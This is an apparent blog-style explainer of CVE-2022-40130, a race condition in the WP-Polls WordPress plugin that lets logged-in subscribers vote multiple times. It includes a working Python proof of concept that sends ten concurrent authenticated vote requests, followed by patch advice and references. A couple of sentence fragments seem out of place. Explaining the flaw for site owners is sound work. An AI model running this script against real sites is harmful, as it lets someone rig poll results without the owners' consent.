The WordPress plugin WP-Polls is a popular choice for adding polls to websites, used by thousands to engage their visitors. However, a critical security issue known as CVE-2022-40130 was discovered in WP-Polls versions up to 2.76.. This vulnerability is a race condition that allows logged-in users with the subscriber role or higher to vote multiple times on a single poll—potentially skewing results or enabling manipulation.
In this deep-dive, I’ll break down what a race condition is, how it affects WP-Polls, show you demo code, and share the best resources for further reading.
What Is a Race Condition?
A race condition happens when a system’s behavior depends on the sequence or timing of uncontrollable events. In badly designed web applications, this means that two or more operations may interfere with each other if they happen at the same time, leading to unexpected results.
In the case of WP-Polls, the plugin checks whether a user can vote just before updating the poll’s results—but this check can be bypassed if multiple voting requests are sent exactly at the same time.
Checking this data before allowing a vote.
Yet, the voting process wasn’t atomic—the check and write steps weren’t performed together in a single, indivisible process. If multiple requests came just milliseconds apart, two (or more) could get past the check before the first vote is recorded, resulting in both being accepted.
This flaw was particularly problematic for logged-in users (with at least Subscriber role), as some extra capabilities were granted to them by the plugin.
Proof of Concept: Exploiting the Race Condition
Here’s some example code (using Python and the widely available requests module) that exploits this issue. This sends multiple nearly-simultaneous POST requests to a WP-Polls endpoint, with the aim of recording multiple votes:
import threading
import requests
# URL of the vote handler on the vulnerable WordPress site
VOTE_URL = 'https://target-wordpress-site.com/wp-admin/admin-ajax.php';
# You need a logged-in user; use cookies from your browser session
COOKIES = {'wordpress_logged_in_XXXXXXXXXXXXXXXXXX': 'user|timestamp|hash'}
# Data for your vote (adjust poll_id, answer, action if needed)
VOTE_DATA = {
'action': 'polls',
'view': 'process',
'poll_id': '123',
'poll_123': '456' # 456 = answer_id
}
def send_vote():
response = requests.post(VOTE_URL, data=VOTE_DATA, cookies=COOKIES)
print('HTTP Status:', response.status_code)
# Create and start several threads to race the voting
threads = []
for _ in range(10):
t = threading.Thread(target=send_vote)
threads.append(t)
t.start()
for t in threads:
t.join()
What This Does: Sends 10 voting requests "at once." On a vulnerable server, you might see the poll's vote count increase by more than one for the same user, violating expected logic.
Loss of Trust: Visitors may lose trust in the integrity of the poll.
The issue was patched in WP-Polls version 2.76.1. As a site owner, you should always make sure your plugins are up to date.
References & Further Reading
- wpvulndb.com: CVE-2022-40130
- NVD - National Vulnerability Database Record
- Plugin Author Changelog
- Wordfence Threat Intelligence Report
Conclusion
CVE-2022-40130 is another example of how even small timing issues in code can be exploited. Race conditions are hard to spot, but they can have big consequences—especially on platforms as widespread as WordPress.
If you run WP-Polls, patch now. And if you’re a developer, always consider how your code may behave when hit by rapid or concurrent requests!
Timeline
Published on: 11/18/2022 23:15:00 UTC
Last modified on: 11/21/2022 01:17:00 UTC